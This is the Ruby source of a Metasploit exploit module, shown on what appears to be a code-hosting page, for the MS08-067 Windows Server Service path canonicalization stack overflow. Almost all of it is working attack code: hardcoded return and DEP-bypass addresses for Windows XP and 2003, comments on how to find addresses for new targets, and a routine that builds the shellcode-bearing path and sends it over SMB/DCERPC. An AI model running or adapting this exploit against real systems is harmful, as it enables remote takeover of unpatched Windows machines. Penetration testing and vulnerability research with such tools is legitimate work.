291 lines
7.5 KiB
Ruby
291 lines
7.5 KiB
Ruby
|
##
|
||
|
# $Id:$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/projects/Framework/
|
||
|
##
|
||
|
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
||
|
|
||
|
include Msf::Exploit::Remote::DCERPC
|
||
|
include Msf::Exploit::Remote::SMB
|
||
|
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Microsoft Server Service Relative Path Stack Corruption',
|
||
|
'Description' => %q{
|
||
|
This module exploits a parsing flaw in the path canonicalization code of
|
||
|
NetAPI32.dll through the Server Service. This module is capable of bypassing
|
||
|
DEP on some operating systems and service packs. The correct target must be
|
||
|
used to prevent the Server Service (along with a dozen others in the same
|
||
|
process) from crashing. Windows XP targets seem to handle multiple successful
|
||
|
exploitation events, but 2003 targets will often crash or hang on subsequent
|
||
|
attempts. This is just the first version of this module, full support for
|
||
|
DEP bypass on 2003, along with other platforms, is still in development.
|
||
|
},
|
||
|
'Author' =>
|
||
|
[
|
||
|
'hdm' # with tons of input/help/testing from the community
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Version' => '$Revision$',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'CVE', '2008-4250'],
|
||
|
[ 'MSB', 'MS08-067' ],
|
||
|
],
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'EXITFUNC' => 'thread',
|
||
|
},
|
||
|
'Privileged' => true,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 400,
|
||
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
||
|
'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
|
||
|
'StackAdjustment' => -3500,
|
||
|
|
||
|
},
|
||
|
'Platform' => 'win',
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[ 'Windows XP SP2 English (DEP)',
|
||
|
{
|
||
|
'Ret' => 0x6f88f727,
|
||
|
'DisableNX' => 0x6F8916E2,
|
||
|
'Scratch' => 0x00020408,
|
||
|
}
|
||
|
], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
|
||
|
|
||
|
[ 'Windows XP SP3 English (DEP)',
|
||
|
{
|
||
|
'Ret' => 0x6f88f807,
|
||
|
'DisableNX' => 0x6F8917C2,
|
||
|
'Scratch' => 0x00020408,
|
||
|
}
|
||
|
], # JMP ESI ACGENRAL.DLL, DEP/NX BYPASS ACGENRAL.DLL
|
||
|
|
||
|
[ 'Windows 2003 SP0 English (NO DEP)',
|
||
|
{
|
||
|
'Ret' => 0x71bf175f,
|
||
|
'Scratch' => 0x00020408,
|
||
|
}
|
||
|
], # JMP ESI WS2HELP.DLL
|
||
|
[ 'Windows 2003 SP2 English (NO DEP)',
|
||
|
{
|
||
|
'Ret' => 0x71bf3969,
|
||
|
'Scratch' => 0x00020408,
|
||
|
}
|
||
|
], # JMP ESI WS2HELP.DLL
|
||
|
|
||
|
#
|
||
|
# Missing Targets
|
||
|
# Key: T=TODO ?=UNKNOWN U=UNRELIABLE
|
||
|
#
|
||
|
# [T] Windows 2000 SP4 - Could not trigger with this vector (need a different call)
|
||
|
# [?] Windows XP SP0 - Could not trigger with this vector
|
||
|
# [?] Windows XP SP1 - Could not trigger with this vector
|
||
|
# [?] Windows 2003 SP1 - Could not trigger with this vector
|
||
|
# [T] Windows 2003 SP2 - Triggered but bypassing DEP requires more time
|
||
|
# [?] Windows Vista SP0 - Not tested yet
|
||
|
# [?] Windows Vista SP1 - Not tested yet
|
||
|
#
|
||
|
],
|
||
|
|
||
|
'DisclosureDate' => 'Oct 28 2008'))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
|
||
|
], self.class)
|
||
|
|
||
|
end
|
||
|
|
||
|
|
||
|
=begin
|
||
|
|
||
|
|
||
|
*** WINDOWS XP SP2/SP3 TARGETS ***
|
||
|
|
||
|
|
||
|
This exploit bypasses DEP/NX by returning to a function call inside acgenral.dll that disables NX
|
||
|
for the process and then returns back to a call ESI instruction. These addresses are different
|
||
|
between operating systems, service packs, and language packs, but the steps below can be used to
|
||
|
add new targets.
|
||
|
|
||
|
|
||
|
If the target system does not have NX/DEP, just place a "call ESI" return into both the Ret and
|
||
|
DisableNX elements of the target hash.
|
||
|
|
||
|
If the target system does have NX/DEP, obtain a copy of the acgenral.dll from that system.
|
||
|
First obtain the value for the Ret element of the hash with the following command:
|
||
|
|
||
|
$ msfpescan -j esi acgenral.dll
|
||
|
|
||
|
Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.
|
||
|
|
||
|
Next, find the location of the function we use to disable NX. Use the following command:
|
||
|
|
||
|
$ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll
|
||
|
|
||
|
This address should be placed into the DisableNX element of the target hash.
|
||
|
|
||
|
The Scratch element of 0x00020408 should work on all versions of Windows
|
||
|
|
||
|
The actual function we use to disable NX looks like this:
|
||
|
|
||
|
push 4
|
||
|
lea eax, [ebp+arg_0]
|
||
|
push eax
|
||
|
push 22h
|
||
|
push 0FFFFFFFFh
|
||
|
mov [ebp+arg_0], 2
|
||
|
call ds:__imp__NtSetInformationProcess@16
|
||
|
|
||
|
|
||
|
*** WINDOWS XP/2000 NON-DEP TARGETS ***
|
||
|
|
||
|
|
||
|
Instead of bypassing DEP, just return directly to a "JMP ESI", which takes us to the short
|
||
|
jump, and finally the shellcode. XP SP0 and XP SP1 may require a different opnum to get
|
||
|
reliable code execution.
|
||
|
|
||
|
|
||
|
*** WINDOWS 2003 SP2 TARGETS ***
|
||
|
|
||
|
|
||
|
There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,
|
||
|
both of these are inside NTDLL.DLL and use a return method that is not directly compatible
|
||
|
with our call stack. Its definitely doable, its just a matter of putting more time into it
|
||
|
and finding a sequence of instructions that will prepare the stack, return the NX disable,
|
||
|
and finally to the payload.
|
||
|
|
||
|
|
||
|
*** WINDOWS 2000 TARGETS ***
|
||
|
|
||
|
|
||
|
Currently untested, but should be reliable using opnum 0x23 (ala EMM / ph4ntom)
|
||
|
|
||
|
|
||
|
*** WINDOWS VISTA TARGETS ***
|
||
|
|
||
|
Currently untested, will involve ASLR and DEP, should be fun.
|
||
|
|
||
|
|
||
|
*** NetprPathCanonicalize IDL ***
|
||
|
|
||
|
|
||
|
NET_API_STATUS NetprPathCanonicalize(
|
||
|
[in, string, unique] SRVSVC_HANDLE ServerName,
|
||
|
[in, string] WCHAR* PathName,
|
||
|
[out, size_is(OutbufLen)] unsigned char* Outbuf,
|
||
|
[in, range(0,64000)] DWORD OutbufLen,
|
||
|
[in, string] WCHAR* Prefix,
|
||
|
[in, out] DWORD* PathType,
|
||
|
[in] DWORD Flags
|
||
|
);
|
||
|
|
||
|
=end
|
||
|
|
||
|
|
||
|
def exploit
|
||
|
|
||
|
print_status("Connecting to the target...")
|
||
|
|
||
|
connect()
|
||
|
smb_login()
|
||
|
|
||
|
#
|
||
|
# Build the malicious path name
|
||
|
#
|
||
|
|
||
|
padder = [*("A".."Z")]
|
||
|
pad = "A"
|
||
|
while(pad.length < 7)
|
||
|
c = padder[rand(padder.length)]
|
||
|
next if pad.index(c)
|
||
|
pad += c
|
||
|
end
|
||
|
|
||
|
prefix = ""
|
||
|
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
|
||
|
|
||
|
jumper = Rex::Text.rand_text_alpha(70).upcase
|
||
|
jumper[ 4,4] = [target.ret].pack("V")
|
||
|
jumper[58,2] = "\xeb\x62"
|
||
|
|
||
|
path =
|
||
|
Rex::Text.to_unicode("\\") +
|
||
|
|
||
|
# This buffer is removed from the front
|
||
|
Rex::Text.rand_text_alpha(100) +
|
||
|
|
||
|
# Shellcode
|
||
|
payload.encoded +
|
||
|
|
||
|
# Relative path to trigger the bug
|
||
|
Rex::Text.to_unicode("\\..\\..\\") +
|
||
|
|
||
|
# Extra padding
|
||
|
Rex::Text.to_unicode(pad) +
|
||
|
|
||
|
# Writable memory location (static)
|
||
|
[target['Scratch']].pack("V") + # EBP
|
||
|
|
||
|
# Return to code which disables NX (or just the return)
|
||
|
[ target['DisableNX'] || target.ret ].pack("V") +
|
||
|
|
||
|
# Padding with embedded jump
|
||
|
jumper +
|
||
|
|
||
|
# NULL termination
|
||
|
"\x00" * 2
|
||
|
|
||
|
|
||
|
handle = dcerpc_handle(
|
||
|
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
|
||
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
||
|
)
|
||
|
|
||
|
print_status("Binding to #{handle} ...")
|
||
|
dcerpc_bind(handle)
|
||
|
print_status("Bound to #{handle} ...")
|
||
|
|
||
|
stub =
|
||
|
NDR.uwstring(server) +
|
||
|
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
|
||
|
NDR.long(rand(1024)) +
|
||
|
NDR.wstring("") +
|
||
|
NDR.long(4097) +
|
||
|
NDR.long(0)
|
||
|
|
||
|
begin
|
||
|
print_status("Triggering the vulnerability...")
|
||
|
while(true)
|
||
|
dcerpc.call(0x1f, stub)
|
||
|
end
|
||
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||
|
rescue => e
|
||
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
||
|
raise e
|
||
|
end
|
||
|
end
|
||
|
|
||
|
# Cleanup
|
||
|
handler
|
||
|
disconnect
|
||
|
end
|
||
|
|
||
|
end
|